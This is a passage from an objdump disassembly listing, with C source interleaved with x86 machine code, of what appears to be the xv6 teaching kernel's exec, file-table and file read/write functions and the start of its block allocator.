~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; } ustack[3+argc] = 0; 80100c8a: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4) 80100c91: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC 80100c95: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100c9c: ff ff ff ustack[1] = argc; 80100c9f: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100ca5: 29 c1 sub %eax,%ecx sp -= (3+argc+1) * 4; 80100ca7: 83 c0 0c add $0xc,%eax 80100caa: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cac: 50 push %eax 80100cad: 52 push %edx 80100cae: 53 push %ebx 80100caf: ff b5 f0 fe ff ff pushl -0x110(%ebp) } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer 80100cb5: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp) sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cbb: e8 c0 61 00 00 call 80106e80 <copyout> 80100cc0: 83 c4 10 add $0x10,%esp 80100cc3: 85 c0 test %eax,%eax 80100cc5: 0f 88 d8 fe ff ff js 80100ba3 <exec+0x1b3> goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100ccb: 8b 45 08 mov 0x8(%ebp),%eax 80100cce: 0f b6 10 movzbl (%eax),%edx 80100cd1: 84 d2 test %dl,%dl 80100cd3: 74 19 je 80100cee <exec+0x2fe> 80100cd5: 8b 4d 08 mov 0x8(%ebp),%ecx 80100cd8: 83 c0 01 add $0x1,%eax if(*s == '/') last = s+1; 80100cdb: 80 fa 2f cmp $0x2f,%dl sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100cde: 0f b6 10 movzbl (%eax),%edx if(*s == '/') last = s+1; 80100ce1: 0f 44 c8 cmove %eax,%ecx 80100ce4: 83 c0 01 add $0x1,%eax sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100ce7: 84 d2 test %dl,%dl 80100ce9: 75 f0 jne 80100cdb <exec+0x2eb> 80100ceb: 89 4d 08 mov %ecx,0x8(%ebp) if(*s == '/') last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cee: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cf4: 50 push %eax 80100cf5: 6a 10 push $0x10 80100cf7: ff 75 08 pushl 0x8(%ebp) 80100cfa: 89 f8 mov %edi,%eax 80100cfc: 83 c0 6c add $0x6c,%eax 80100cff: 50 push %eax 80100d00: e8 3b 39 00 00 call 80104640 <safestrcpy> // Commit to the user image. oldpgdir = curproc->pgdir; curproc->pgdir = pgdir; 80100d05: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx if(*s == '/') last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); // Commit to the user image. oldpgdir = curproc->pgdir; 80100d0b: 89 f8 mov %edi,%eax 80100d0d: 8b 7f 04 mov 0x4(%edi),%edi curproc->pgdir = pgdir; curproc->sz = sz; 80100d10: 89 30 mov %esi,(%eax) last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); // Commit to the user image. oldpgdir = curproc->pgdir; curproc->pgdir = pgdir; 80100d12: 89 48 04 mov %ecx,0x4(%eax) curproc->sz = sz; curproc->tf->eip = elf.entry; // main 80100d15: 89 c1 mov %eax,%ecx 80100d17: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d1d: 8b 40 18 mov 0x18(%eax),%eax 80100d20: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d23: 8b 41 18 mov 0x18(%ecx),%eax 80100d26: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d29: 89 0c 24 mov %ecx,(%esp) 80100d2c: e8 3f 5b 00 00 call 80106870 <switchuvm> freevm(oldpgdir); 80100d31: 89 3c 24 mov %edi,(%esp) 80100d34: e8 b7 5e 00 00 call 80106bf0 <freevm> return 0; 80100d39: 83 c4 10 add $0x10,%esp 80100d3c: 31 c0 xor %eax,%eax 80100d3e: e9 19 fd ff ff jmp 80100a5c <exec+0x6c> 80100d43: 66 90 xchg %ax,%ax 80100d45: 66 90 xchg %ax,%ax 80100d47: 66 90 xchg %ax,%ax 80100d49: 66 90 xchg %ax,%ax 80100d4b: 66 90 xchg %ax,%ax 80100d4d: 66 90 xchg %ax,%ax 80100d4f: 90 nop 80100d50 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d50: 55 push %ebp 80100d51: 89 e5 mov %esp,%ebp 80100d53: 83 ec 10 sub $0x10,%esp initlock(&ftable.lock, "ftable"); 80100d56: 68 ad 6f 10 80 push $0x80106fad 80100d5b: 68 e0 ff 10 80 push $0x8010ffe0 80100d60: e8 7b 34 00 00 call 801041e0 <initlock> } 80100d65: 83 c4 10 add $0x10,%esp 80100d68: c9 leave 80100d69: c3 ret 80100d6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100d70 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d70: 55 push %ebp 80100d71: 89 e5 mov %esp,%ebp 80100d73: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d74: bb 14 00 11 80 mov $0x80110014,%ebx } // Allocate a file structure. struct file* filealloc(void) { 80100d79: 83 ec 10 sub $0x10,%esp struct file *f; acquire(&ftable.lock); 80100d7c: 68 e0 ff 10 80 push $0x8010ffe0 80100d81: e8 ba 35 00 00 call 80104340 <acquire> 80100d86: 83 c4 10 add $0x10,%esp 80100d89: eb 10 jmp 80100d9b <filealloc+0x2b> 80100d8b: 90 nop 80100d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d90: 83 c3 18 add $0x18,%ebx 80100d93: 81 fb 74 09 11 80 cmp $0x80110974,%ebx 80100d99: 74 25 je 80100dc0 <filealloc+0x50> if(f->ref == 0){ 80100d9b: 8b 43 04 mov 0x4(%ebx),%eax 80100d9e: 85 c0 test %eax,%eax 80100da0: 75 ee jne 80100d90 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100da2: 83 ec 0c sub $0xc,%esp struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ if(f->ref == 0){ f->ref = 1; 80100da5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100dac: 68 e0 ff 10 80 push $0x8010ffe0 80100db1: e8 3a 36 00 00 call 801043f0 <release> return f; 80100db6: 89 d8 mov %ebx,%eax 80100db8: 83 c4 10 add $0x10,%esp } } release(&ftable.lock); return 0; } 80100dbb: 8b 5d fc mov -0x4(%ebp),%ebx 80100dbe: c9 leave 80100dbf: c3 ret f->ref = 1; release(&ftable.lock); return f; } } release(&ftable.lock); 80100dc0: 83 ec 0c sub $0xc,%esp 80100dc3: 68 e0 ff 10 80 push $0x8010ffe0 80100dc8: e8 23 36 00 00 call 801043f0 <release> return 0; 80100dcd: 83 c4 10 add $0x10,%esp 80100dd0: 31 c0 xor %eax,%eax } 80100dd2: 8b 5d fc mov -0x4(%ebp),%ebx 80100dd5: c9 leave 80100dd6: c3 ret 80100dd7: 89 f6 mov %esi,%esi 80100dd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100de0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100de0: 55 push %ebp 80100de1: 89 e5 mov %esp,%ebp 80100de3: 53 push %ebx 80100de4: 83 ec 10 sub $0x10,%esp 80100de7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dea: 68 e0 ff 10 80 push $0x8010ffe0 80100def: e8 4c 35 00 00 call 80104340 <acquire> if(f->ref < 1) 80100df4: 8b 43 04 mov 0x4(%ebx),%eax 80100df7: 83 c4 10 add $0x10,%esp 80100dfa: 85 c0 test %eax,%eax 80100dfc: 7e 1a jle 80100e18 <filedup+0x38> panic("filedup"); f->ref++; 80100dfe: 83 c0 01 add $0x1,%eax release(&ftable.lock); 80100e01: 83 ec 0c sub $0xc,%esp filedup(struct file *f) { acquire(&ftable.lock); if(f->ref < 1) panic("filedup"); f->ref++; 80100e04: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e07: 68 e0 ff 10 80 push $0x8010ffe0 80100e0c: e8 df 35 00 00 call 801043f0 <release> return f; } 80100e11: 89 d8 mov %ebx,%eax 80100e13: 8b 5d fc mov -0x4(%ebp),%ebx 80100e16: c9 leave 80100e17: c3 ret struct file* filedup(struct file *f) { acquire(&ftable.lock); if(f->ref < 1) panic("filedup"); 80100e18: 83 ec 0c sub $0xc,%esp 80100e1b: 68 b4 6f 10 80 push $0x80106fb4 80100e20: e8 4b f5 ff ff call 80100370 <panic> 80100e25: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e30 <fileclose>: } // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e30: 55 push %ebp 80100e31: 89 e5 mov %esp,%ebp 80100e33: 57 push %edi 80100e34: 56 push %esi 80100e35: 53 push %ebx 80100e36: 83 ec 28 sub $0x28,%esp 80100e39: 8b 7d 08 mov 0x8(%ebp),%edi struct file ff; acquire(&ftable.lock); 80100e3c: 68 e0 ff 10 80 push $0x8010ffe0 80100e41: e8 fa 34 00 00 call 80104340 <acquire> if(f->ref < 1) 80100e46: 8b 47 04 mov 0x4(%edi),%eax 80100e49: 83 c4 10 add $0x10,%esp 80100e4c: 85 c0 test %eax,%eax 80100e4e: 0f 8e 9b 00 00 00 jle 80100eef <fileclose+0xbf> panic("fileclose"); if(--f->ref > 0){ 80100e54: 83 e8 01 sub $0x1,%eax 80100e57: 85 c0 test %eax,%eax 80100e59: 89 47 04 mov %eax,0x4(%edi) 80100e5c: 74 1a je 80100e78 <fileclose+0x48> release(&ftable.lock); 80100e5e: c7 45 08 e0 ff 10 80 movl $0x8010ffe0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e65: 8d 65 f4 lea -0xc(%ebp),%esp 80100e68: 5b pop %ebx 80100e69: 5e pop %esi 80100e6a: 5f pop %edi 80100e6b: 5d pop %ebp acquire(&ftable.lock); if(f->ref < 1) panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); 80100e6c: e9 7f 35 00 00 jmp 801043f0 <release> 80100e71: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return; } ff = *f; 80100e78: 0f b6 47 09 movzbl 0x9(%edi),%eax 80100e7c: 8b 1f mov (%edi),%ebx f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e7e: 83 ec 0c sub $0xc,%esp panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e81: 8b 77 0c mov 0xc(%edi),%esi f->ref = 0; f->type = FD_NONE; 80100e84: c7 07 00 00 00 00 movl $0x0,(%edi) panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e8a: 88 45 e7 mov %al,-0x19(%ebp) 80100e8d: 8b 47 10 mov 0x10(%edi),%eax f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e90: 68 e0 ff 10 80 push $0x8010ffe0 panic("fileclose"); if(--f->ref > 0){ release(&ftable.lock); return; } ff = *f; 80100e95: 89 45 e0 mov %eax,-0x20(%ebp) f->ref = 0; f->type = FD_NONE; release(&ftable.lock); 80100e98: e8 53 35 00 00 call 801043f0 <release> if(ff.type == FD_PIPE) 80100e9d: 83 c4 10 add $0x10,%esp 80100ea0: 83 fb 01 cmp $0x1,%ebx 80100ea3: 74 13 je 80100eb8 <fileclose+0x88> pipeclose(ff.pipe, ff.writable); else if(ff.type == FD_INODE){ 80100ea5: 83 fb 02 cmp $0x2,%ebx 80100ea8: 74 26 je 80100ed0 <fileclose+0xa0> begin_op(); iput(ff.ip); end_op(); } } 80100eaa: 8d 65 f4 lea -0xc(%ebp),%esp 80100ead: 5b pop %ebx 80100eae: 5e pop %esi 80100eaf: 5f pop %edi 80100eb0: 5d pop %ebp 80100eb1: c3 ret 80100eb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi f->ref = 0; f->type = FD_NONE; release(&ftable.lock); if(ff.type == FD_PIPE) pipeclose(ff.pipe, ff.writable); 80100eb8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx 80100ebc: 83 ec 08 sub $0x8,%esp 80100ebf: 53 push %ebx 80100ec0: 56 push %esi 80100ec1: e8 2a 24 00 00 call 801032f0 <pipeclose> 80100ec6: 83 c4 10 add $0x10,%esp 80100ec9: eb df jmp 80100eaa <fileclose+0x7a> 80100ecb: 90 nop 80100ecc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi else if(ff.type == FD_INODE){ begin_op(); 80100ed0: e8 7b 1c 00 00 call 80102b50 <begin_op> iput(ff.ip); 80100ed5: 83 ec 0c sub $0xc,%esp 80100ed8: ff 75 e0 pushl -0x20(%ebp) 80100edb: e8 c0 08 00 00 call 801017a0 <iput> end_op(); 80100ee0: 83 c4 10 add $0x10,%esp } } 80100ee3: 8d 65 f4 lea -0xc(%ebp),%esp 80100ee6: 5b pop %ebx 80100ee7: 5e pop %esi 80100ee8: 5f pop %edi 80100ee9: 5d pop %ebp if(ff.type == FD_PIPE) pipeclose(ff.pipe, ff.writable); else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); 80100eea: e9 d1 1c 00 00 jmp 80102bc0 <end_op> { struct file ff; acquire(&ftable.lock); if(f->ref < 1) panic("fileclose"); 80100eef: 83 ec 0c sub $0xc,%esp 80100ef2: 68 bc 6f 10 80 push $0x80106fbc 80100ef7: e8 74 f4 ff ff call 80100370 <panic> 80100efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f00 <filestat>: } // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100f00: 55 push %ebp 80100f01: 89 e5 mov %esp,%ebp 80100f03: 53 push %ebx 80100f04: 83 ec 04 sub $0x4,%esp 80100f07: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100f0a: 83 3b 02 cmpl $0x2,(%ebx) 80100f0d: 75 31 jne 80100f40 <filestat+0x40> ilock(f->ip); 80100f0f: 83 ec 0c sub $0xc,%esp 80100f12: ff 73 10 pushl 0x10(%ebx) 80100f15: e8 56 07 00 00 call 80101670 <ilock> stati(f->ip, st); 80100f1a: 58 pop %eax 80100f1b: 5a pop %edx 80100f1c: ff 75 0c pushl 0xc(%ebp) 80100f1f: ff 73 10 pushl 0x10(%ebx) 80100f22: e8 f9 09 00 00 call 80101920 <stati> iunlock(f->ip); 80100f27: 59 pop %ecx 80100f28: ff 73 10 pushl 0x10(%ebx) 80100f2b: e8 20 08 00 00 call 80101750 <iunlock> return 0; 80100f30: 83 c4 10 add $0x10,%esp 80100f33: 31 c0 xor %eax,%eax } return -1; } 80100f35: 8b 5d fc mov -0x4(%ebp),%ebx 80100f38: c9 leave 80100f39: c3 ret 80100f3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ilock(f->ip); stati(f->ip, st); iunlock(f->ip); return 0; } return -1; 80100f40: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f45: 8b 5d fc mov -0x4(%ebp),%ebx 80100f48: c9 leave 80100f49: c3 ret 80100f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100f50 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f50: 55 push %ebp 80100f51: 89 e5 mov %esp,%ebp 80100f53: 57 push %edi 80100f54: 56 push %esi 80100f55: 53 push %ebx 80100f56: 83 ec 0c sub $0xc,%esp 80100f59: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f5c: 8b 75 0c mov 0xc(%ebp),%esi 80100f5f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f62: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f66: 74 60 je 80100fc8 <fileread+0x78> return -1; if(f->type == FD_PIPE) 80100f68: 8b 03 mov (%ebx),%eax 80100f6a: 83 f8 01 cmp $0x1,%eax 80100f6d: 74 41 je 80100fb0 <fileread+0x60> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f6f: 83 f8 02 cmp $0x2,%eax 80100f72: 75 5b jne 80100fcf <fileread+0x7f> ilock(f->ip); 80100f74: 83 ec 0c sub $0xc,%esp 80100f77: ff 73 10 pushl 0x10(%ebx) 80100f7a: e8 f1 06 00 00 call 80101670 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f7f: 57 push %edi 80100f80: ff 73 14 pushl 0x14(%ebx) 80100f83: 56 push %esi 80100f84: ff 73 10 pushl 0x10(%ebx) 80100f87: e8 c4 09 00 00 call 80101950 <readi> 80100f8c: 83 c4 20 add $0x20,%esp 80100f8f: 85 c0 test %eax,%eax 80100f91: 89 c6 mov %eax,%esi 80100f93: 7e 03 jle 80100f98 <fileread+0x48> f->off += r; 80100f95: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100f98: 83 ec 0c sub $0xc,%esp 80100f9b: ff 73 10 pushl 0x10(%ebx) 80100f9e: e8 ad 07 00 00 call 80101750 <iunlock> return r; 80100fa3: 83 c4 10 add $0x10,%esp return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ ilock(f->ip); if((r = readi(f->ip, addr, f->off, n)) > 0) 80100fa6: 89 f0 mov %esi,%eax f->off += r; iunlock(f->ip); return r; } panic("fileread"); } 80100fa8: 8d 65 f4 lea -0xc(%ebp),%esp 80100fab: 5b pop %ebx 80100fac: 5e pop %esi 80100fad: 5f pop %edi 80100fae: 5d pop %ebp 80100faf: c3 ret int r; if(f->readable == 0) return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); 80100fb0: 8b 43 0c mov 0xc(%ebx),%eax 80100fb3: 89 45 08 mov %eax,0x8(%ebp) f->off += r; iunlock(f->ip); return r; } panic("fileread"); } 80100fb6: 8d 65 f4 lea -0xc(%ebp),%esp 80100fb9: 5b pop %ebx 80100fba: 5e pop %esi 80100fbb: 5f pop %edi 80100fbc: 5d pop %ebp int r; if(f->readable == 0) return -1; if(f->type == FD_PIPE) return piperead(f->pipe, addr, n); 80100fbd: e9 ce 24 00 00 jmp 80103490 <piperead> 80100fc2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileread(struct file *f, char *addr, int n) { int r; if(f->readable == 0) return -1; 80100fc8: b8 ff ff ff ff mov $0xffffffff,%eax 80100fcd: eb d9 jmp 80100fa8 <fileread+0x58> if((r = readi(f->ip, addr, f->off, n)) > 0) f->off += r; iunlock(f->ip); return r; } panic("fileread"); 80100fcf: 83 ec 0c sub $0xc,%esp 80100fd2: 68 c6 6f 10 80 push $0x80106fc6 80100fd7: e8 94 f3 ff ff call 80100370 <panic> 80100fdc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100fe0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100fe0: 55 push %ebp 80100fe1: 89 e5 mov %esp,%ebp 80100fe3: 57 push %edi 80100fe4: 56 push %esi 80100fe5: 53 push %ebx 80100fe6: 83 ec 1c sub $0x1c,%esp 80100fe9: 8b 75 08 mov 0x8(%ebp),%esi 80100fec: 8b 45 0c mov 0xc(%ebp),%eax int r; if(f->writable == 0) 80100fef: 80 7e 09 00 cmpb $0x0,0x9(%esi) //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100ff3: 89 45 dc mov %eax,-0x24(%ebp) 80100ff6: 8b 45 10 mov 0x10(%ebp),%eax 80100ff9: 89 45 e4 mov %eax,-0x1c(%ebp) int r; if(f->writable == 0) 80100ffc: 0f 84 aa 00 00 00 je 801010ac <filewrite+0xcc> return -1; if(f->type == FD_PIPE) 80101002: 8b 06 mov (%esi),%eax 80101004: 83 f8 01 cmp $0x1,%eax 80101007: 0f 84 c2 00 00 00 je 801010cf <filewrite+0xef> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010100d: 83 f8 02 cmp $0x2,%eax 80101010: 0f 85 d8 00 00 00 jne 801010ee <filewrite+0x10e> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101016: 8b 45 e4 mov -0x1c(%ebp),%eax 80101019: 31 ff xor %edi,%edi 8010101b: 85 c0 test %eax,%eax 8010101d: 7f 34 jg 80101053 <filewrite+0x73> 8010101f: e9 9c 00 00 00 jmp 801010c0 <filewrite+0xe0> 80101024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 80101028: 01 46 14 add %eax,0x14(%esi) iunlock(f->ip); 8010102b: 83 ec 0c sub $0xc,%esp 8010102e: ff 76 10 pushl 0x10(%esi) n1 = max; begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; 80101031: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101034: e8 17 07 00 00 call 80101750 <iunlock> end_op(); 80101039: e8 82 1b 00 00 call 80102bc0 <end_op> 8010103e: 8b 45 e0 mov -0x20(%ebp),%eax 80101041: 83 c4 10 add $0x10,%esp if(r < 0) break; if(r != n1) 80101044: 39 d8 cmp %ebx,%eax 80101046: 0f 85 95 00 00 00 jne 801010e1 <filewrite+0x101> panic("short filewrite"); i += r; 8010104c: 01 c7 add %eax,%edi // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * 512; int i = 0; while(i < n){ 8010104e: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101051: 7e 6d jle 801010c0 <filewrite+0xe0> int n1 = n - i; 80101053: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101056: b8 00 06 00 00 mov $0x600,%eax 8010105b: 29 fb sub %edi,%ebx 8010105d: 81 fb 00 06 00 00 cmp $0x600,%ebx 80101063: 0f 4f d8 cmovg %eax,%ebx if(n1 > max) n1 = max; begin_op(); 80101066: e8 e5 1a 00 00 call 80102b50 <begin_op> ilock(f->ip); 8010106b: 83 ec 0c sub $0xc,%esp 8010106e: ff 76 10 pushl 0x10(%esi) 80101071: e8 fa 05 00 00 call 80101670 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101076: 8b 45 dc mov -0x24(%ebp),%eax 80101079: 53 push %ebx 8010107a: ff 76 14 pushl 0x14(%esi) 8010107d: 01 f8 add %edi,%eax 8010107f: 50 push %eax 80101080: ff 76 10 pushl 0x10(%esi) 80101083: e8 c8 09 00 00 call 80101a50 <writei> 80101088: 83 c4 20 add $0x20,%esp 8010108b: 85 c0 test %eax,%eax 8010108d: 7f 99 jg 80101028 <filewrite+0x48> f->off += r; iunlock(f->ip); 8010108f: 83 ec 0c sub $0xc,%esp 80101092: ff 76 10 pushl 0x10(%esi) 80101095: 89 45 e0 mov %eax,-0x20(%ebp) 80101098: e8 b3 06 00 00 call 80101750 <iunlock> end_op(); 8010109d: e8 1e 1b 00 00 call 80102bc0 <end_op> if(r < 0) 801010a2: 8b 45 e0 mov -0x20(%ebp),%eax 801010a5: 83 c4 10 add $0x10,%esp 801010a8: 85 c0 test %eax,%eax 801010aa: 74 98 je 80101044 <filewrite+0x64> i += r; } return i == n ? n : -1; } panic("filewrite"); } 801010ac: 8d 65 f4 lea -0xc(%ebp),%esp break; if(r != n1) panic("short filewrite"); i += r; } return i == n ? n : -1; 801010af: b8 ff ff ff ff mov $0xffffffff,%eax } panic("filewrite"); } 801010b4: 5b pop %ebx 801010b5: 5e pop %esi 801010b6: 5f pop %edi 801010b7: 5d pop %ebp 801010b8: c3 ret 801010b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(r != n1) panic("short filewrite"); i += r; } return i == n ? n : -1; 801010c0: 3b 7d e4 cmp -0x1c(%ebp),%edi 801010c3: 75 e7 jne 801010ac <filewrite+0xcc> } panic("filewrite"); } 801010c5: 8d 65 f4 lea -0xc(%ebp),%esp 801010c8: 89 f8 mov %edi,%eax 801010ca: 5b pop %ebx 801010cb: 5e pop %esi 801010cc: 5f pop %edi 801010cd: 5d pop %ebp 801010ce: c3 ret int r; if(f->writable == 0) return -1; if(f->type == FD_PIPE) return pipewrite(f->pipe, addr, n); 801010cf: 8b 46 0c mov 0xc(%esi),%eax 801010d2: 89 45 08 mov %eax,0x8(%ebp) i += r; } return i == n ? n : -1; } panic("filewrite"); } 801010d5: 8d 65 f4 lea -0xc(%ebp),%esp 801010d8: 5b pop %ebx 801010d9: 5e pop %esi 801010da: 5f pop %edi 801010db: 5d pop %ebp int r; if(f->writable == 0) return -1; if(f->type == FD_PIPE) return pipewrite(f->pipe, addr, n); 801010dc: e9 af 22 00 00 jmp 80103390 <pipewrite> end_op(); if(r < 0) break; if(r != n1) panic("short filewrite"); 801010e1: 83 ec 0c sub $0xc,%esp 801010e4: 68 cf 6f 10 80 push $0x80106fcf 801010e9: e8 82 f2 ff ff call 80100370 <panic> i += r; } return i == n ? n : -1; } panic("filewrite"); 801010ee: 83 ec 0c sub $0xc,%esp 801010f1: 68 d5 6f 10 80 push $0x80106fd5 801010f6: e8 75 f2 ff ff call 80100370 <panic> 801010fb: 66 90 xchg %ax,%ax 801010fd: 66 90 xchg %ax,%ax 801010ff: 90 nop 80101100 <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 80101100: 55 push %ebp 80101101: 89 e5 mov %esp,%ebp 80101103: 57 push %edi 80101104: 56 push %esi 80101105: 53 push %ebx 80101106: 83 ec 1c sub $0x1c,%esp int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 80101109: 8b 0d e0 09 11 80 mov 0x801109e0,%ecx // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 8010110f: 89 45 d8 mov %eax,-0x28(%ebp) int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 80101112: 85 c9 test %ecx,%ecx 80101114: 0f 84 85 00 00 00 je 8010119f <balloc+0x9f> 8010111a: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 80101121: 8b 75 dc mov -0x24(%ebp),%esi 80101124: 83 ec 08 sub $0x8,%esp 80101127: 89 f0 mov %esi,%eax 80101129: c1 f8 0c sar $0xc,%eax 8010112c: 03 05 f8 09 11 80 add 0x801109f8,%eax 80101132: 50 push %eax 80101133: ff 75 d8 pushl -0x28(%ebp) 80101136: e8 95 ef ff ff call 801000d0 <bread> 8010113b: 89 45 e4 mov %eax,-0x1c(%ebp) 8010113e: a1 e0 09 11 80 mov 0x801109e0,%eax 80101143: 83 c4 10 add $0x10,%esp 80101146: 89 45 e0 mov %eax,-0x20(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101149: 31 c0 xor %eax,%eax 8010114b: eb 2d jmp 8010117a <balloc+0x7a> 8010114d: 8d 76 00 lea 0x0(%esi),%esi m = 1 << (bi % 8); 80101150: 89 c1 mov %eax,%ecx 80101152: ba 01 00 00 00 mov $0x1,%edx if((bp->data[bi/8] & m) == 0){ // Is block free? 80101157: 8b 5d e4 mov -0x1c(%ebp),%ebx bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ m = 1 << (bi % 8); 8010115a: 83 e1 07 and $0x7,%ecx 8010115d: d3 e2 shl %cl,%edx if((bp->data[bi/8] & m) == 0){ // Is block free? 8010115f: 89 c1 mov %eax,%ecx 80101161: c1 f9 03 sar $0x3,%ecx 80101164: 0f b6 7c 0b 5c movzbl 0x5c(%ebx,%ecx,1),%edi 80101169: 85 d7 test %edx,%edi 8010116b: 74 43 je 801011b0 <balloc+0xb0> struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 8010116d: 83 c0 01 add $0x1,%eax 80101170: 83 c6 01 add $0x1,%esi 80101173: 3d 00 10 00 00 cmp $0x1000,%eax 80101178: 74 05 je 8010117f <balloc+0x7f> 8010117a: 3b 75 e0 cmp -0x20(%ebp),%esi 8010117d: 72 d1 jb 80101150 <balloc+0x50> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 8010117f: 83 ec 0c sub $0xc,%esp 80101182: ff 75 e4 pushl -0x1c(%ebp) 80101185: e8 56 f0 ff ff call 801001e0 <brelse> { int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 8010118a: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101191: 83 c4 10 add $0x10,%esp 80101194: 8b 45 dc mov 